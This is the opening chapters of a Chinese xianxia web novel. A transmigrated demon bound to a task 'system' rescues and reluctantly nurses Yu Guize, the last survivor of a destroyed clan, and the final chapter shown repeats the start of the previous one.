《强制任务对象后死遁了》
1. 第一章
喻归泽收势走入阵中,沉静敛眸平静胸中陡然起伏的情绪,等待变幻莫测的阵法将他带到目的地。
“跟紧我,这里阵法诡谲难测。”
虽然身在法阵传送通道之中,但是林离却透过空间缝隙看见数不清的场景从眼前划过,残垣断壁的巨大石门、牌位林立的祭祀大堂、偌大无边的校场……
如梦似幻的影像犹如镜中花水中月,昭示着法阵之中曾居住着神秘的族群。
林离看了眼前方的师尊,她能感觉到身处的这方空间处处透露着肃穆和压抑,步入阵内,不知是否是自己的错觉,她似乎察觉到师尊气息波动,但又觉得是自己多想了。
容不得她再仔细分辨,下一瞬间她只觉得眼前一阵眩晕,片刻入眼的又是另一番景象。
四周昏暗不可测,寂静无声,她似乎能听见自己稍显急促的呼吸声。
藏书阁中被人施下术法,一般修士难以视物,灵台不净之人、心术不正之人更易迷失在迷障之中。
修道者耳清目明,但喻归泽还是略施灵力点亮一方天地。
林离这才看清眼前的场景,入门两侧并排高耸林立的巨大雕像,藏在黑暗之中的诡异阵法,一条通道尽头的巨大石门上雕刻着人面蛇身的画像,一切巅峰认知的东西让她眼花缭乱。
门背后空间方位变化无穷,不同置物处设立不同法阵,随机出现的一处阵眼仅呼吸之间便消失在林离眼前。
她惊奇地转来转去,看到新奇的器物频频发出惊叹,扭头看向背后:“师尊,这里有整个神州大陆的地图。”
“不要乱跑乱动,不要靠近阵法边——”
喻归泽绕过昏暗的长廊,浅色的衣摆掀起的薄尘在灵气燃烧出的火光中四处飞舞。
“啊!”
一道火光在黑暗中闪动,照亮的地方映照出杂乱器物上的尘埃浮动,喻归泽瞬时来到林离身边。
撞到眼前,几乎呼吸之间他就看清了在半空中起浮的发光体,它在阵法的边缘屏障上浮动,周身散发着银粉色圣洁的光,在不同的角度和光线下折射出多种颜色,半大玉佩大小的薄薄一片,中心处一点血红,如玉一般剔透晶莹,圣神不可方物,但又莫名魅惑。
身体比他反映的更快,呼吸几乎在瞬间凌乱,周身灵气被冻住一般停滞。
林离察觉到灵火骤然熄灭,有些疑惑的回头向自己的师尊。
“师尊?”
借着薄片的微光,虽然掩饰的很好,但她还是看到他眼睫颤动嘴唇紧抿,施法的灵气像是临近失控的边缘,林离不自觉放轻呼吸,她从未看过师尊有这般明显的失态。
林离的视线顺着其动作落在那薄片上,呼吸也随之紧张起来。
喻归泽沉默着摩挲着薄片中心的一点血红。
……
“滴哒。”
宋策随手施法清理胳膊上流下的点滴血迹,他看了眼骤然消失的阵,敛在黑袍之下的眉微皱。
“啧,我慌什么?”
宋策用神识检查方才仓皇之中复录的资料。
“完了完了!”
“宿主,喻归泽屁股上的鳞片落在法阵里头了,你完了!”
那道声音的源头似乎是意识到什么,接下来他刺耳的机械音发出了疑似崩溃的哭喊声:“是我们完了!”
“……”
一瞬间宋策有种恍如隔世的错觉,眼前蓦然眩晕,被打断施法的动作,他闭眼确认自己没听错这道熟悉的声音。
“宿主,你已经死了呀,但他要是发现你没死我们就死定了!”
“你怎么醒了?”
“啊?”系统显然也有些懵。
“对啊,我醒了,我怎么醒了?”系统还偏离在状态之外,
就在刚才看着宿主熟练又自然地启动法阵运用法阵的同时,空间不断碾压交合的瞬息之间,他看到了喻归泽的背影,他大气不敢喘,生怕宿主一个失误传送到喻归泽跟前去了。
宋策无意识地转动手上的戒指,无奈叹气:“你能不能哪来回哪里去?”
他似乎是想到了什么莫名的场景,眉眼略显无奈,更正系统的说法:“还有,我说了很多次,那枚鳞片是他后腰上的。”
“差不多嘛……”系统差点被宋策带偏,他语气略显激动,压制这机械音颤抖着语气说,“现在怎么办啊,他那么聪明,如果发现那枚鳞片,肯定能猜出来你没死。”
“就算是追到天涯海角也要把你剥皮碎尸!”
“那自然”,宋策微眯着眼睫,转了转指节银戒,轻飘飘道:“如今我可控制不了他,往后见面他轻轻掐诀我就灰飞烟灭了。”
“我等着他找到我,认出我。”
听到后半句,系统看了眼宋策,只见他嘴角挂着温柔的笑意,眼瞳中却闪出冰冷的绿光,他显示屏冷不丁宕机闪出雪花。
“这么些年,你能量恢复怎么样了?”
滋滋电流声之后,系统有些不确定道:“目前显示恢复到百分之二十。”
“没用的东西。”
“可是我先前为宿主重塑躯体花了所有的能量啊……”系统小声为自己辩解。
宋策有意纠正系统疑似为自己邀功的措辞:“那是我努力推进剧情的结果,你只是个储存能量的工具。”
可是当初宿主根本没有想认真做任务的,还把任务对像欺负地那么惨,宿主怎么能这样……
但是系统只敢在心里憋屈地蛐蛐宿主。
天色渐深,林中起雾,丛林中却鲜少有动物的声音,刚才被破坏的树木以肉眼可见的速度恢复,“窸窸窣窣”的声音在寂静的森林中显得诡异非常,只见被飓风撕碎的粗长藤蔓像灰绿色的蟒蛇在宋策面前狂舞,平整的土地被耸动地破碎龟裂。
宋策最后再看了一眼阵眼消失的方向,他漠视周围的动静,长袍拂过蠢蠢欲动的藤蔓,断裂的枝蔓被“沙沙”的风陨灭成细粉。
对于普通凡人来说已经是三个轮回转世,沧海桑田也是改朝换代的春秋,若不是修仙问道,那些久远恍惚被藏匿在记忆深处的事情也不会被宋策有意想起。
时间久远到宋策都不记得自己到底多少岁了,他只记得自己27岁刚接手公司那年,轿车的轮胎剧烈摩擦柏油路的刺耳声,泄露的汽油味让他头昏脑涨,随后意识的模糊之后醒来就发现自己在一个异世界醒来。
重生是意外之喜,没想到等待自己的是光怪陆离的世界,沉寂几天后他只能接受自己变成了一个非人的怪物,他虚弱的就连自己的温饱都没办法解决,他没有办法收起自己耳朵和尾巴,只能如同乞丐一般窝藏在一间无人的破房子里,风雪夜里他险些冻死在湿冷冰天雪地中。
最后只能趁着夜色出去找些东西吃,在见识到一场非人的妖类的斗殴,他才明白自己身处的世界不是一个普通的古代,而是能够修炼斗法的修仙世界。
他恍然,躲躲藏藏几天为了不让人以为自己是个怪物,原来在这个世界正常的。
他不是没有想过回到原来的世界,但是想到自己恐怕早已死去,死前他似乎听到了巨大的爆炸声,兴许尸体还是东一块西一块的。
跌跌撞撞生活在鬼城他才发现自己身体里绑定了一个系统,号称能够修仙世界将会迎来覆灭,他需要按照系统提出的要求解救世界之子,完成拯救世界的既定宿命。
“你为什么要绑定我,我对你的救世计划丝毫不感兴趣。”
系统似乎是知道自己的话没有说服力,他小心翼翼地补充:“可是我不绑定你,你也不能起死回生的。”
宋策闻言,嗤笑出声,他漫不经心地抬起自己的左手,鬼城灰蒙蒙的阳光透过他的指缝,却只能看见四只手指,手侧边小指光秃,一节白色骨头抵住小指处皮肉,透出一抹灰白色。
系统胆战心惊地看了眼宿主的少了一根手指的左手,猜到自己休眠的这段时间宿主在世界吃了不少苦头。
他有心解释自己的难处。
“宿主,不是我不想给你修为高的身体”,他艰难出声,“主、主世界出了些乱子,我们这些小系统也受到波及,我将你传送到这个世界已经花了很多能量了,剩余能量用来计算数据推算任务方案了。”
“你也知道的,最后所有能量花完了,这些年陷入了休眠……不是故意将你一个人丢在这里的……”
系统数据计算出这方小世界会出现灾难,这场灾祸将会引起一场生灵涂炭的残局,具体祸乱如何解决毫无具体数据分析,只能根据部分数据推测出存在于这个世界的神秘族群——天灵族,他们能够解决祸端。
系统原先想直接绑定天灵族人的少主喻归泽协助其救赎这方小世界,但是初到这神州大陆,恰巧天灵族被灭族,唯一剩下的天灵族人喻归泽内丹破裂,神识受创,失去踪迹。
系统数据更新后,他推算出最佳方案是绑定另外一方末法时代的宋策。
宋策这时正好死在现代世界的一场车祸之中。
“我的死和你有关吗?”听到这里
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宋策忍不住发问。
“我绑定你之前,你已经是灵体状态了,而且作为外世界的系统,我们无法直接干涉小世界的。”
宋策微皱眉,沉思后松缓面色,眼前却出现上辈子死前的场景,大货车闪着刺目的灯光,脚下刹车失灵,惊恐无力感充斥脑海,画面恍如隔世。
“做任务对我有什么好处?”宋策收敛情绪。
系统听出宋策有做任务的想法,他立即补充:“放心,最基础的奖励就是帮助宿主返回原来的世界轮回,如果有额外积分宿主还可以选择兑换一些奖励。”
“只是轮回?”宋策听到这里显然不淡定了,他好不容易才坐上公司一把手的位置,如今最大的心愿就是回去接管公司,完成这么大的任务只是继续死亡,他表情微妙,露出几分嘲讽的神色。
“宿主,我只是基础系统,一般那种高等级的奖励轮不到我的”,他似乎是想了想继续游说宋策,“但是宿主如果不按照任务做的话,我们都会被规则抹杀的,别说轮回了,是消失于任何时空……”说道这里,系统机械的话语似乎也有些艰难。
系统没敢说,如果在主世界有序进行的情况下,依照他这种低等系统根本没资格领取这种高难度任务,他没有权限给宿主开通一些金手指。
传送进任务世界后他联系不上主世界,世界以一种混乱但是又有序的方式运转着,做任务才能恢复能量,不做就是死,仿佛回到了世界出成时期的混沌状态,残酷又冰冷,如今的系统只有宋策这一个盟友。
“宿主,你没发现你的身体其实比五年前虚弱很多吗?”他补充存在的问题,“因为世界规则检测到任务没有推进,而我也没有新的能量补充给你,小世界会将你作为外部隐患慢慢消除的。”
宋策手中动作停住,系统的话打断了宋策最后的侥幸,看来如果自己不做任务,兴许都活不了多久了,无奈之下他问:“那我需要做什么?”
听到这系统语气兴奋起来,“需要宿主为他修复灵丹,助他修行即可,目前掌握的资料显示喻归泽就在鬼城。”
“宿主,我们什么时候行动?”
宋策抓住一些有用的信息,“灵丹都碎了,还指望修炼。”
系统解释:“只有裂痕,没碎。”
在神州大陆,人族先天有灵根修行术法,妖族有妖丹修炼,魔族天生体内具有魔核聚集灵气。除此以外大大小小的种族同妖族类似,拥有灵丹,无论是那种种族,修习之本损坏则基本与仙途无缘,重则有性命之忧。
“天灵族自身拥有灵根修习术法,另外还具备灵丹辅助修习。”
“数据分析只需宿主帮助其修复灵丹,完成任务后,系统也会因为主线任务的推进恢复一定的能量来维持宿主的生命值”,说完系统信誓旦旦保证,“放心,宿主,你在这个世界的身份相当于路人甲,只需要帮助喻归泽恢复灵丹就算完成任务了。”
“之后,我们只需要等喻归泽拯救这个世界我们就可以离开了。”
“把资料直接传给我。”
一阵电流声从宋策脑海中划过,好半晌系统才说:“其实就这么多有用的材料,数据都因为主世界混乱丢的差不多了。”
等宋策看到那些数据他算是明白系统一阵阵的忽悠是怎么回事了,他看着面板上大片的空白不知道说什么。
任务目标被灭族后,他仓皇之中被卷入天灵族阵法之中,陷入幻境沉沦五年,不久前阵法发生变化,喻归泽被法阵遗留在外。
游走三界的黑商错认喻归泽是蛇族,因为他特殊的生理特点和妖冶的样貌,商贩企图将喻归泽作为妖奴卖给三界其他具有特殊癖好的买家,按照时间节点算起来,商贩部队不日就要途径鬼城流沙城区。
身为妖族,他的妖丹低劣,难以提升妖法,落地就是鬼城这座混乱的城,一直从底层喽啰做起,三年前靠着些手段到鬼城城主手底下办事,才求得几分安稳。
按照他如今的手段和在鬼城的地位,收缴一只蛇妖作为妖宠不是难事,但他又不是谁的救世主,救人这种事很难的。
宋策笑眯眯的答应系统,他会当然会认真做任务,规则之外的好处。
宋策摸了摸光秃洁的小指骨,一抹怪异的刺痛感让他浑身发麻,他兽瞳轻微颤动着,眼眸闪过锋利的光。
他做了好些年商人了,他习惯了有利益的买卖,享受权利交易,利用最有限的资源做最划算的事情,放长线钓大鱼,他喜欢这个游戏,或许这不是个亏本的买卖。
2. 第二章
“请大人授予我炼丹修器之术。”
“不会,不教。”
宋策在书架旁随手将一册书插进夹层中,看着恭敬跪在自己脚前的妖,宋策转身绕开。
“奴愿以命为大人效劳!”
宋策瞥了眼任旧跪在地上的青面鬼,冷眼轻嗤。
“你的命对我来说一文不值。”
在这偌大毫无法度的鬼城,别说他人,宋策自己的命也是个毫不值钱的玩意儿,被人拿捏在手心中玩弄,宋策没工夫摆弄另一个不值钱的物件。
夜色将至。
“大人,我可以给您想要的。”
青面鬼意识到宋策无意收自己为徒,连忙跪走膝行至宋策脚边,抬头看了眼宋策的脸又略有掩饰般低下头。
宋策扯唇戏笑出声:“你知道我想要什么?”
青面鬼青灰色的脸上露出一丝窘迫,他支撑起上半身环顾四周,宋策了然,施法布下小型法阵,将两人围在一隅。
“现在说吧。”
“我知道大人天资卓越,异于常人,定是不甘心安居在这鬼城一角,奈何、奈何——”
青面鬼支支吾吾神情飘忽似乎在思考该不该说下一句话。
“奈何被黑风鬼定下主仆契约任凭驱策?”
青面鬼恍惚,宋策具有压迫感的黑影笼罩在上方,他不敢出声。
宋策极具压迫的身体下移,他缓缓蹲下与他平视,眼瞳闪出妖兽的瞳色,嘴角却挂着温和的笑意。
宋策拿着手中的一册书抵住青面鬼的额头,抬起他神情紧张的脸,淡笑:“知道的不少啊。”
“不过运气好,追随、追随过前任城主,知、知道一些。”
“是吗?”
宋策轻飘飘的一句话让他脸皮紧绷。
青面鬼额角青筋突突直跳,他那张灰白的脸毫无血色,好似一张死皮贴在脸上,眼珠灰白,中间一点朱红,头上不过寥寥几缕赤色短发,几乎难以称作是头发,只能说是破碎的麻布丝。
看着他青灰色的脸皮在书册下微颤,宋策手肘微微用力,青面鬼那张灰白的脸便往一侧扭去。
见过很多次了,宋策还是看不得这张丑陋的鬼脸。
他微撇开脸,眉宇间露出几分嫌弃,丑的让人眼疼。
“去药房取药,子时送到我住处。”
宋策抬起书册挥袖解开阵法,与其擦身而过。
“记住,下次见我不许以这般丑面视我。”
闻言青面鬼愣神,似是早有所料一般也或是兴奋地弯唇眯眼,一双吊梢眼微微翘起,他向走至光线交接处的宋策郑重地伏地磕头。
“谢大人成全。”
“谢你自己吧。”
宋策僵硬着脸,任何面部微妙的表情牵动他受伤的右眼惹得他眼角抽痛。
“啪嗒。”
染着血水的细窄尖刀在木盆中溅起的水花打湿屋内的泥地。
一双浸着血水的双手拿起床边的麻布巾随意地擦了两下,这双手的主人起身打量床上的“人”,他瞥了眼拉拢在床尾甚至拖在地上的东西。
系统没想到宿主救出喻归泽还是用了半抢的方式,惨烈却又果断直接,他不清楚宿主到底学了多少本事,五年的鬼城生活,他确定宿主绝不是他原先想的那么简单。
“宿主在赌场里是故意输给商贩头目的吗?”
“我不会赌博”,宋策觉得自己的左眼隐隐作痛,眼睛周围的皮肉发热发痒让他忍不住想伸手触碰,他有些烦躁,“你想多了,不过是在酒馆里猜测他嗜赌,借机将手中的符箓输给他而已。”
宋策又拿起尖刀。
“是他自己贪心愚蠢,不好好检查符箓有没有问题就直接带在身边”,宋策手拿着尖刀手柄戳弄着木质床板。
宋策伸手抚摸眼睛伤口,嘴角却勾起一丝妖异的笑容,系统看着这样的宿主心中有些发颤。
“可惜,赔了一只眼睛”,他突然蹲下,“这笔买卖你说我是赚了还是赔了。”
宋策语气冰冷丝毫不含感情。
“天灵族为上古族群,生活在三界中心,天地灵气聚集之处”,宋策语气意味不明,“浑身上下都是宝贝。”
系统怎么感觉自己绑定的宿主有些不对劲,真的能好好做任务吗?
烛火之下,粉色的鳞片折射出不同的光。
“吱吱。”泛着银光的刺刀顺着鳞片缓缓滑动。
宋策将尖刀利刃切进鳞片缝隙微微撬动,一片粉色薄片带动周围鳞片被撬起,鳞片之下是粉色的皮肉。
尖刀往里深入几毫,他还在思考要不要割下一片,系统突然出声:“宿主,你不能伤害他,他是这个世界的气运之子。”
“哦?”宋策止住动作,表情微妙,“伤害了又怎么样?”
看着宋策的动作,系统脑中紧铃猛响。
“我、我……”
系统一连说了好几个我,宋策暗自发笑,系统这个没用的废物恐怕什么也不知道,宋策猜,这个喻归泽死了后要么任务直接失败,要么重新推出第二个所谓的“救世主”。
气运之子?
不过也是个和他一样修复世界的棋子罢了。
“他的尾巴会变色?我救他时,他的尾巴是白色的。”
系统当时很兴奋,没注意到喻归泽的尾巴颜色,他想了想解释:“资料里显示天灵族人具有很多特点,比如天赋异禀、以腿化尾、容貌绝色,也许尾巴会变色只是他们的一个特点。”
“他全身经脉紊乱,修为退滞,高烧不退,今夜只能看他自己了。”
宋策坐在喻归泽的身边,有些头疼地揉揉太阳穴:“我累了别吵我。”
宋策左眼处围着白色纱布包裹着眼睛,右眼是冰冷毫无感情的墨色神瞳。
无机质的眼瞳微微转动,视线一寸寸从绯色鳞片上滑动。
宋策将尖刀从鳞片缝隙抽出,水渍顺着长尾滴落,床上人似乎有所感觉,微红的脸皱起,眉宇未舒缓,并未苏醒。
宋策起身,再次将尖刀扔进盆中,溅起的水花打湿他的衣角。
“叩叩。”破旧的冒着寒风的木门经不起拍打,即使是轻微的敲击都会让它发出“吱啦吱啦”令人牙酸的声响。
宋策皱眉走至门前打开。
“大人。”来人一张青灰色的脸上长着红色长毛,在风中被吹得张牙舞爪,一双吊梢眼见到宋策那张脸时瞬间露出惊异的神色,又瞬时低下头。
宋策仅剩的右眼布满红丝,可见精神不济,左眼包裹着白布,白布之下扁平毫无凸起。
宋策低头,接过青面鬼举至头顶的物件:“难为你这么晚冒这么大风送来。”
“应该的”,他低着头,额角青筋微动,嗅到从宋策身上散发出淡淡的血腥之气。
寒风将青面鬼单薄的衣服吹得鼓起来,他见宋策没有动作,微微抬起头,看见宋策眼睛,暗夜之中闪着荧绿色的光。
宋策低头看着他瞥进屋内的神色,低声问:“要不要进来坐坐?”
听见宋策语气中的冷意,他猛地将身子低的更深,背部的衣袍被风吹得更加膨大,发出“哗哗”声,沉声道:“不敢。”
意识到宋策的意思,他捏着衣袍,恭敬地退下:“小人这就走。”
“宿主不怕暴露喻归泽?”
“他还要和我住在一起,被发现是迟早的事。”宋策满不在乎地翻看青面鬼送来的文书和药材,指尖轻点。
在城主的药房取私药是要费灵石的,就这么些材料他也是花了不少丹药换来的。
青面鬼离开后不久,遮掩在喻归泽尾巴上的障眼法消失,恢复到原来的粉色。
看着重现原形的蛇尾,宋策捻捻指尖,术法还是太薄弱,维持不了几时。
“天灵族的特征比较特殊,宿主要时常为他伪装,以防万一被识得天灵族的人察觉。”
“呃呵咳咳……”
宋策看向床上即将醒来的喻归泽,施咒术捆住他的双手和长尾紧贴床板。
喻归泽难耐地睁开双眼,灰棕色的眼瞳无神地看着屋顶,渐渐恢复稍许清明,却依旧懵懵懂懂。
他缓缓转头看向立在床榻旁的身影,眨了眨眼睑,抿着苍白的唇,抽动着被捆绑在床尾的尾巴,忍不住蜷缩。
让宋策有些意外的是,喻归泽张口的委屈之意:“放开我。”
“很难受。”
宋策皱眉走近,喻归泽却无反抗之意,一双泛着水色的眸追随宋策靠近的手。
宋策掐起他的下颚,意外地暖手,手下人的体温较之于初见他时更加灼热。
触碰到宋策微凉的手指,喻归泽情不自禁蹭蹭,想化解身上的灼烧感。
他抽动着绯色蛇尾,在
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床上摆动,似乎是想掀开搭在腰腹的薄被,缓解热意。
“神志不清,对我毫不设防。”早在救出喻归泽时宋策就察觉他精神似乎有些问题,看着这人脆弱的样子,宋策就觉得自己要有麻烦了
“喻归泽这时期似乎处于天灵族的成年阶段,也就是分化的时期,他那个师父也给他喂过些东西”,系统有些不确定道,“灭族之创后又被困在阵法中五年,或许和这也有关。”
借着宋策的视角看着浑身皮肤泛着红晕的喻归泽,系统迟疑道:“可能是受了刺激,或许哪天就恢复了。”
“祈祷他能活到春天的到来吧。”
宋策微微勾起唇角,眼眸冰冷,察觉到喻归泽似乎构成不了威胁,他解开了束缚喻归泽的术法。
喻归泽支起上身向宋策缓缓爬动,伸手捉住他湿透的衣摆,向将自己的脸贴近。
宋策拽开他伸来企图盘在自己腰上的尾巴,将他从床上拉起,喻归泽眯着泛红的眼,双手无力地搭在宋策的肩上,却被他放在一旁的木椅上。
“尾巴……”
宋策居高临下地看着喻归泽轻声说着什么。
宋策没理他,转身躺在床上却看到喻归泽低着头,长发顺着苍白的脸颊落在尾巴上卷起,嘴里不知道在说什么。
他的手不安地按在木椅边缘,指甲“吱吱”地扣掐着棕色木头,指尖发白。
他不动,不做什么其他事。
在回城的这两天喻归泽很多时候都是半昏迷状态。
烛火摇曳,昏黄的灯光下他那条尾巴局促不安地绕着木椅团成几圈,宋策突然站起走近。
就在系统以为宿主可能会将喻归泽放到床上时,却见到宋策对着喻归泽布置一个小型法阵。
喻归泽似乎有所察觉突然伸手拽住宋策的手,系统这才听清喻归泽嘴里说的是什么。
“尾巴、尾疼”,喻归泽红着一双眼颤动着眼睫,“腰、腰也疼,不想坐在这里,冷,热。”
他紧紧拽着宋策的腰封,就像是看不懂宋策脸色般,只是仰着脸不管不顾地喊着疼。
系统难得看见宿主眉心微抽,露出除冷淡漠然以外的神色。
被打断的阵法瞬时消散,喻归泽到底还是将尾巴缠在宋策的小腿,拉拢下来的尾巴拖在地上。
宋策刚想发作,窗外呼呼风声打断他的思绪,他捏着喻归泽靠近的脸颊,有些不耐烦:“再吵,再动,就把你再扔到笼子里关着。”
喻归泽盯着宋策眼上的纱布,颤抖着指尖摩挲宋策的眉宇,唇瓣颤抖:“不要关起来。”
宋策拧眉别开脸,将喻归泽放在床上,风雪顺着窗户缝隙飘进。
烛火在明明灭灭地跳动,宋策挥袖,黑暗照进床榻,风雪猖狂,夜色迷惘。
常年的精神紧绷宋策难以在屋子内多出陌生气息的情况下打坐休息。
无奈坐起翻阅桌子上的文书,找到自己想要的那一页,直接启炉造物。
起初宋策还能察觉到喻归泽刻意放缓的呼吸声,似乎是不想打扰自己。
后半夜宋策听到喻归泽舒缓的呼吸声,系统看见他起身查看喻归泽的身体情况,有些意外:“怎么样?喻归泽高烧退了吗?”
“没退”,宋策皱着眉附身摸了摸喻归泽的额头,低声仿若自言自语,“喂了几颗丹药,怎么一点作用都没有?”
“宿主为什么不再喂他几颗?”
“又不是仙丹,喂多了中毒。”宋策伸手摸进被褥中,一片冰凉。
“宿主要不再给他多盖点被子。”系统看着喻归泽不住发抖的样子有些不忍。
宋策自己有灵气护身,不用暖身之物,整个屋子只有一床被子。
“啧,别死在我床上了。”宋策无奈只能向喻归泽渡灵气,他自知自己修为低,一直渡灵气也不是办法,只能将丹炉靠近床榻,在床榻边炼丹,也许能靠丹炉火气暖和些。
“宿主小心点,别把床烧着了。”系统看宋策一边给喻归泽渡灵气,一边还要检查炉中炼化的东西有些不放心。
“闭嘴。”
窗外新雪降临,清晨微风缱绻地卷起飞絮一般的雪花,一缕金色的阳光探进窗扉。
床榻边一地炉灰,被窗外的风吹起几丝粉尘。
晨曦的微光照在宋策憔悴的脸上,他把玩着尖刀,右眼血丝密布,可见没休息好。
3. 第三章
“宿主,他怎么样了?”系统一个晚上不知道问了多少遍喻归泽的状况,五次最多得到一次回应。
“后半夜烧退了,你应该庆幸他没死。”
宋策移步床前俯身仔细看着床上的人,“他好像脑子烧坏了”
“宿主应该是我们两个庆幸,现在我们的命是连在一起的。”
“听你这语气,好似与你命运相连是我的荣幸一般。”
系统憋闷:“我没有。”
宋策对于这段无聊的对话没什么再聊下去的兴趣,他蹲下看着喻归泽消瘦的脸蛋上还有高烧余下的红晕,随即伸手试试体温。
许是窗外的寒气侵袭,喻归泽将脸埋进薄被下,瑟缩成一团,从薄被边缘凸起部分可以看出下面是他的尾巴尖。
系统借助宋策的视角,看清宿主是如何将手伸进薄被拉出喻归泽的尾巴,之后那一小节尾巴又是如何缠住宿主的手腕。
喻归泽本能地攀附靠近宋策身上的体温,无意识地摩挲着他的手腕,将宋策的手一并拽进被子里盖好。
系统眼睁睁看着宿主和喻归泽拉扯了两个来回。
系统:“……”
“嗯……”
喻归泽眯着眼将脸探出被沿,眉头微皱地看向宋策的方向,他的脸仍旧泛着不正常的红色。
待他看清床沿的宋策,那双含着不满的眼眸转化成怯意,宋策的手也被他束缚地愈发紧。
喻归泽恍然意识到自己的尾巴正缠在宋策手上,下一秒他受惊一般猛地向后退去,但是由于紧张而忘记放开宋策的手。
宋策被他拉了一个踉跄,左腿膝盖磕在床板上。
“砰”的一声响,系统听到都觉得疼,他记得宿主有条腿在救喻归泽时受了些伤,希望不是左腿。
意识到自己的尾巴还缠着宋策的手,他迅速收走自己的尾巴,不顾宋策还在自己身侧,抓着被宋策压在腿下的被子往腰下盖。
系统见刚想起身站起的宿主被喻归泽再一次拉倒,有些慌张,他自己也不清楚在慌什么,也许是担心宿主暴怒,尽管他记得宿主情绪很稳定。
两人之间距离被迫拉近,喻归泽紧张地颤抖着眼睑,指尖抓紧身下被褥,脖颈处青筋跳动。
宋策突然把刀架在喻归泽脖子上,喻归泽停下手上动作瞪着宋策的眼睛,肩膀瑟缩但是还不忘把尾巴尖缓缓缩进被褥里,将被子拱成一团。
“别动。”
宋策看了眼喻归泽藏在被子下的尾巴,将目光转向他的眼眸,缓缓滑动刀片,沿着他光滑的皮肤来到他的脸颊,宋策能感觉到刀刃之下人的紧张和不解。
喻归泽眨着眼睛,伸手扣住宋策的手腕:“不行。”
“宿主别这样,你会吓到他的。”
“你看他像是怕我的样子吗?他脑子不清醒,你脑子也坏了?”
“宿主不要骂人。”
宋策没理系统的控诉。
喻归泽将宋策的手往外推,宋策顺他的意扔下刀却一把掀开喻归泽盖在腰身的被子,喻归泽惊慌地往后退,一条长尾不知所措地往身后的角落盘缩,他慌乱地推着靠近自己的宋策。
系统见喻归泽像是被宋策的动作吓得不知怎么办为好,半启唇颤动始终不说话,见推不开宋策,他愣愣地看着支在他身体上方的宋策。
宋策手抚在喻归泽的腰腹上,喻归泽张张嘴最终说出几个字:“你干什么啊?”
他赤红着脸,不知是羞耻还是生气,尾巴始终不安分地扭动,宋策一直盯着喻归泽被细碎粉色鳞片包裹的腰,指尖在鳞片上细细捻摸。
喻归泽僵硬着腰腹,左手按在宋策肩膀上,指尖泛白,圆睁着眼,眼眸中终于有些怒气。
少年人窄而有力的腰稍用力便会绷起流畅的肌肉线条,其主人下身包裹着绯色的鳞片,以下臀部为界限,腰和尾巴尖处越靠近下臀部绯色鳞片逐渐变大,随着主人在光下动作,鳞片闪动着晶莹的微光。
系统觉得这条尾巴是美的。
这时宋策并指抵住喻归泽肚脐上方半拳处,指尖微用力,灵气白光闪动,一处透着荧光的环状物体从宋策指腹下破出。
见此,喻归泽眸光微闪伸手先于宋策抓住飘至眼前的发光体:“这是我的。”
他连尾巴都忘记往身后藏,抓住东西的手向背后藏,不甘示弱地看向上方的宋策。
宋策缓缓起身,坐在床沿,不像刚才那样气势强迫,而是随性地理理衣袖,扬起唇角问一脸紧张的喻归泽:“我知道是你的,但你知道这是什么东西?”
闻言,喻归泽打开手心里的东西,展现在两人眼前的是一枚普通不能再普通的银色戒指,他左右翻看戒指,里里外外都毫无修饰。
“就、就是戒指啊”,他有些结巴地说完就将戒指按在腹部,但是戒指却不像刚才那样回到他的肚皮下,他疑惑地看向宋策,“为何不行?”
系统:“完了宿主,他脑子真坏了!”
喻归泽将戒指往自己肚皮上按压,白皙的肚皮被他按出一个又一个红印子,最后他泄气般看向无动于衷的宋策,皱着的眉宇似乎是在责怪宋策把他的东西拿出来,却放不回去。
无奈,喻归泽只能把戒指戴在自己的手上,爱惜地摸了摸,末了不忘拉起被子盖在尾巴上,团成一圈。
“宿主,他好像真不怕你哎?”虽然系统知道宿主没做过什么伤天害理的事情,但是系统总对自己绑定的宿主有些怪异的恐怖。
宋策好整以暇地看了一眼喻归泽,微微压低上半身:“我救了你一命,你我一只戒指难道不可以?你知道原先那些人
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要对你干什么吗?”
“知道的,他们想把我卖给别人当奴隶。”他突然抬头看向宋策,白纱还围在宋策的脸上,血水未净,化成褐色,
“但是也不能给你这个戒指的。”他后半句的声音越来越小,似乎是有些愧疚。
“这个很重要,我不能给的。”说完他捏着被脚,低下头,长发从他肩膀落下,掩不住裸露的上半身。
“对,对不起,戒指很重要,不能随意给的”,他盯着宋策的脸似是下定决心一般,“以后我给你其他的,更好的。”
“是吗?”宋策收敛笑意。
见他不信,瑜归泽有些急切的解释:“这个戒指真的很重要”他皱着眉,连说几个“是”却始终不知说什么?
“是什么?”
喻归泽抿着唇:“我不记得,但是只记得戒指对我很重要。”
“要好好保管的。”
他抓着身下被褥,低着头,系统不忍:“宿主,可能这个戒指对他很重要。”
“不过就是个储物戒”,宋策起身走至窗台边看向外面,“我可不知道修复什么灵丹的办法,从他的储物戒里看看有没有秘法,可惜他不给我戒指。”
“那宿主可以试试晚上趁他睡觉偷来……”
“偷来的不如他亲自送来的”
宋策转身走近,弯腰看着喻归泽的眼,抬手,一直玉佩落在喻归泽眼前。
“把这个戴上。”
“我不要。”喻归泽捏紧手指,一只手按在戒指上。
“给你戴着,遮掩身上的气息。”
喻归泽抬起手臂疑惑地闻,抬眼:“没有味道的。”
他强调:“不臭的。”
宋策将玉佩按在他的额头,语意淡淡:“你闻不到,但我不喜欢。”
喻归泽拿起玉佩细看,圆形镂空雕花,原型玉佩中心雕镂着一条蛇,他伸手抚摸着指下花纹。
“以后在外有人问起来,自称蛇妖,知道吗?”
莹润的质感在手掌中微凉,喻归泽多次抚摸花朵纹路中心的蛇纹,眨动眼睛,微顿点头应下。
“虽然现在没有办法修复灵丹,但宿主可以帮助他梳理静脉的。”
即使不比修复灵丹生命值长得快,但是对维持宿主生命值也是有一点作用的。
昨晚给喻归泽输送灵力时,检查出喻归泽的灵脉完整,静脉紊乱,需要调理疏解。
至于系统一直强调的灵丹,他能感受到喻归泽身体里不同于灵脉波动的灵气,是属于灵丹蕴含的力量。
灵丹虽有裂痕,但不至于不可修炼。
宋策冷淡地撇下书册:“先等等吧,我可没那么多灵力帮助他修炼。”
昨夜宋策不知道为喻归泽输送了多少此灵力,他现在需要休息。
5. 第四章
“宿主,他怎么样了?”系统一个晚上不知道问了多少遍喻归泽的状况,五次最多得到一次回应。
“后半夜烧退了,你应该庆幸他没死”,宋策移步床前低头看着床上的人,“本来就神志不清,高烧若是让他以后都是个傻子,我看你那个任务也是空谈。”
“宿主应该是我们两个庆幸,现在我们的命是连在一起的。”
“听你这语气,好似与你命运相连是我的荣幸一般。”
系统憋闷:“我没有。”
宋策对于这段无聊的对话没什么再聊下去的兴趣,他蹲下看着喻归泽消瘦的脸蛋上还有高烧余下的红晕,随即伸手试试体温。
